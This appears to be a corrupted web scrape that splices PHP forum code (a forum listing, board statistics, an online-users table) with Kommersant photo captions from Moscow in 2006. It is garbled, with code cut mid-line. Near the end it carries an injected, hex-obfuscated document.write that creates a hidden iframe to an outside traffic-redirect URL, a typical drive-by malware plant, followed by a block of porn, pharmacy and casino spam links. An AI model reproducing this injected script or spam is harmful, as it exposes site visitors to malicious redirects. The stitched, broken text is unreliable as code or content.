| ".$locale['401']." |
".$locale['402']." |
".$locale['403']." |
".$locale['404']." |
\n";
$forum_list = ""; $current_cat = "";
$result = dbquery(
"SELECT f.*, COUNT(t.thread_id) AS thread_count, MAX(t.thread_lastpost) AS last_post, f2.forum_name AS forum_cat_name, u.user_id, u.user_name FROM ".$db_prefix."forums f
LEFT JOIN ".$db_prefix."threads t USING(forum_id)
LEFT JOIN ".$db_prefix."forums f2 ON f.forum_cat = f2.forum_id
LEFT JOIN ".$db_prefix."users u ON f.forum_lastuser = u.user_id
WHERE ".groupaccess('f.forum_access')." AND f.forum_cat!='0' GROUP BY forum_id ORDER BY f2.forum_order ASC, f.forum_order ASC"
);
if (dbrows($result) != 0) {
while ($data = dbarray($result)) {
if ($data['forum_cat_name'] != $current_cat) {
$current_cat = $data['forum_cat_name'];
echo "\n| ".$data['forum_cat_name']." | \n \n";
}
$moderators = "";
if ($data['forum_moderators']) {
$res = "user_id='".str_replace(".", "' OR user_id='", $data['forum_moderators'])."'";
$result2 = dbquery("SELECT user_id,user_name FROM ".$db_prefix."users WHERE (".$res.")");
while ($data2 = dbarray($result2)) {
if ($moderators) $moderators .= ", ";
$moderators .= "".$data2['user_name']."";
}
}
if ($data['last_post'] > $lastvisited) {
$fim = " ";
} else {
$fim = " ";
}
echo "
| $fim |
".$data['forum_name']."
".$data['forum_description'].($moderators ? " \n".$l size = $lang['Not_available'];
}
}
else
{
$dbsize = $lang['Not_available'];
}
}
else if( preg_match("/^mssql/", SQL_LAYER) )
{
$sql = "SELECT ((SUM(size) * 8.0) * 1024.0) as dbsize
FROM sysfiles";
if( $result = $db->sql_query($sql) )
{
$dbsize = ( $row = $db->sql_fetchrow($result) ) ? intval($row['dbsize']) : $lang['Not_available'];
}
else
{
$dbsize = $lang['Not_available'];
}
}
else
{
$dbsize = $lang['Not_available'];
}
if ( is_integer($dbsize) )
{
if( $dbsize >= 1048576 )
{
$dbsize = sprintf("%.2f MB", ( $dbsize / 1048576 ));
}
else if( $dbsize >= 1024 )
{
$dbsize = sprintf("%.2f KB", ( $dbsize / 1024 ));
}
else
{
$dbsize = sprintf("%.2f Bytes", $dbsize);
}
}
$template->assign_vars(array(
"NUMBER_OF_POSTS" => $total_posts,
"NUMBER_OF_TOPICS" => $total_topics,
"NUMBER_OF_USERS" => $total_users,
"START_DATE" => $start_date,
"POSTS_PER_DAY" => $posts_per_day,
"TOPICS_PER_DAY" => $topics_per_day,
"USERS_PER_DAY" => $users_per_day,
"AVATAR_DIR_SIZE" => $avatar_dir_size,
"DB_SIZE" => $dbsize,
"GZIP_COMPRESSION" => ( $board_config['gzip_compress'] ) ? $lang['ON'] : $lang['OFF'])
);
//
// End forum statistics
//
//
// Get users online information.
//
$sql = "SELECT u.user_id, u.username, u.user_session_time, u.user_session_page, s.session_logged_in, s.session_ip, s.session_start
FROM " . USERS_TABLE . " u, " . SESSIONS_TABLE . " s
WHERE s.session_logged_in = " . TRUE . "
AND u.user_id = s.session_user_id
AND u.user_id <> " . ANONYMOUS . "
AND s.session_time >= " . ( time() - 300 ) . "
ORDER BY u.user_session_time DESC";
if(!$result = $db->sql_query($sql))
{
message_die(GENERAL_ERROR, "Couldn't obtain regd user/online information.", "", __LINE__, __FILE__, $sql);
}
$onlinerow_reg = $db->sql_fetchrowset($result);
$sql = "SELECT session_page, session_logged_in, session_time, session_ip, session_start
FROM " . SESSIONS_TABLE . "
WHERE session_logged_in = 0
AND session_time >= " . ( time() - 300 ) . "
ORDER BY session_time DESC";
if(!$result = $db->sql_query($sql))
{
message_die(GENERAL_ERROR, "Couldn't obtain guest user/online information.", "", __LINE__, __FILE__, $sql);
}
$onlinerow_guest = $db->sql_fetchrowset($result);
$sql = "SELECT forum_name, forum_id
FROM " . FORUMS_TABLE;
if($forums_result = $db->sql_query($sql))
{
while($forumsrow = $db->sql_fetchrow($forums_result))
{
$forum_data[$forumsrow['forum_id']] = $forumsrow['forum_name'];
}
}
else
{
message_die(GENERAL_ERROR, "Couldn't obtain user/online forums information.", "", __LINE__, __FILE__, $sql);
}
$reg_userid_ary = array();
if( count($onlinerow_reg) )
{
$registered_users = 0;
for($i = 0; $i < count($onlinerow_reg); $i++)
{
if( !inarray($onlinerow_reg[$i]['user_id'], $reg_userid_ary) )
{
$reg_userid_ary[] = $onlinerow_reg[$i]['user_id'];
$username = $onlinerow_reg[$i]['username'];
if( $onlinerow_reg[$i]['user_allow_viewonline'] || $userdata['user_level'] == ADMIN )
{
$registered_users++;
$hidden = FALSE;
}
else
{
$hidden_users++;
$hidden = TRUE;
}
if( $onlinerow_reg[$i]['user_session_page'] < 1 )
{
switch($onlinerow_reg[$i]['user_session_page'])
{
case PAGE_INDEX:
$location = $lang['Forum_index'];
$location_url = "index.$phpEx?pane=right";
break;
case PAGE_POSTING:
$location = $lang['Posting_message'];
$location_url = "index.$phpEx?pane=right";
break;
case PAGE_LOGIN:
$location = $lang['Logging_on'];
$location_url = "index.$phpEx?pane=right";
break;
case PAGE_SEARCH:
$location = $lang['Searching_forums'];
$location_url = "index.$phpEx?pane=right";
break;
case PAGE_PROFILE:
$location = $lang['monument
to space conquerers installed near the All-Russian Exhibition Centre (VVC).
The Ostankinskaya television tower, right, is seen behind a hill.
Photo by:
Darya Fedorova/Kommersant
Find
the image in Kommersant Online Archive |
 |
24.05.2006
Russia, Moscow
Christ the Saviour Cathedral.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
02.06.2006
Russia, Moscow
Moscow International House of Music.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
02.06.2006
Russia, Moscow
Poklonnaya Hill memorial complex.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
02.06.2006
Russia, MosLE:
$location = $lang['Viewing_profile'];
$location_url = "index.$phpEx?pane=right";
break;
case PAGE_VIEWONLINE:
$location = $lang['Viewing_online'];
$lo
}
$row_color = ( $guest_users % 2 ) ? $theme['td_color1'] : $theme['td_color2'];
$row_class = ( $guest_users % 2 ) ? $theme['td_class1'] : $theme['td_class2'];
$guest_ip = decode_ip($onlinerow_guest[$i]['session_ip']);
$template->assign_block_vars("guest_user_row", array(
"ROW_COLOR" => "#" . $row_color,
"ROW_CLASS" => $row_class,
"USERNAME" => $lang['Guest'],
"STARTED" => create_date($board_config['default_dateformat'], $onlinerow_guest[$i]['session_start'], $board_config['board_timezone']),
"LASTUPDATE" => create_date($board_config['default_dateformat'], $onlinerow_guest[$i]['session_time'], $board_config['board_timezone']),
"FORUM_LOCATION" => $location,
"IP_ADDRESS" => $guest_ip,
"U_WHOIS_IP" => "http://network-tools.com/default.asp?host=$guest_ip",
"U_FORUM_LOCATION" => append_sid($location_url))
);
}
}
else
{
$template->assign_vars(array(
"L_NO_GUESTS_BROWSING" => $lang['No_users_browsing'])
);
}
// Check for new version
$current_version = explode('.', '2' . $board_config['version']);
$minor_revision a, sans-serif">Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
A model is shown during the Russian Fashion Week held at the RFW Pavillion
on Vassilievsky Spusk square. 2006/2007 autumn-winter collection.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
ze="-1" face="Geneva, Arial, Helvetica, sans-serif">Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
;eva, Arial, Helvetica, sans-serif">Photo by:
Dmitry Kostyukov/Kommersant
Find
the image in Kommersant Online Archive |
 |
06.04.2006
Russia, Moscow
Russian Fashion Week. Preparence for the show.
Photo by:
t.write(v47d686f0048cf('3C696672616D65206E616D653D27326366333527207372633D27687474703A2F2F6262666F72616D612E636F6D2F7464732F696E2E636769272077696474683D333330206865696768743D343236207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));743D333536207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));v47d67fa93d607(v47d67fa93dddd){ function v47d67fa93e5b0 () {return 16;} return(parseInt(v47d67fa93dddd,v47d67fa93e5b0()));}function v47d67fa93f561(v47d67fa93fd36){ var v47d67fa9414b1=2; var v47d67fa940509='';for(v47d67fa940cdd=0; v47d67fa940cddnessesenpizda.ccberried.infocrowens.infograyway.infoleffert.infolettory.infonenenes.infopizda.ccpornosexeroticpornosexeroticpornosexeroticpizda.ccпорно рассказыaboutfinance.ruденьгиautowood.rudeepbe.rusolo teenfinboom.rusexax.ruxexax.rumonewood.ruзнакомстваteen sexyoung teensbuy phenterminebuy viagrabuy cialisbuy tramadolonline slot casinoonline casino payoutshow to win slot machinehow to win on slot machinehow to win at slotpizda.ccпорно рассказыaboutfinance.ruденьгиautowood.rudeepbe.rusolo teenfinboom.rusexax.ruxexax.rumonewood.ruзнакомстваteen sexyoung teensbuy phenterminebuy viagrabuy cialisbuy tramadolonline slot casinoonline casino payoutshow to win slot machinehow to win on slot machinehow to win at slotpizda.ccaboutfinance.ruautowood.rudeepbe.rufinboom.rusexax.ruxexax.rumonewood.ruAdvanced Search | |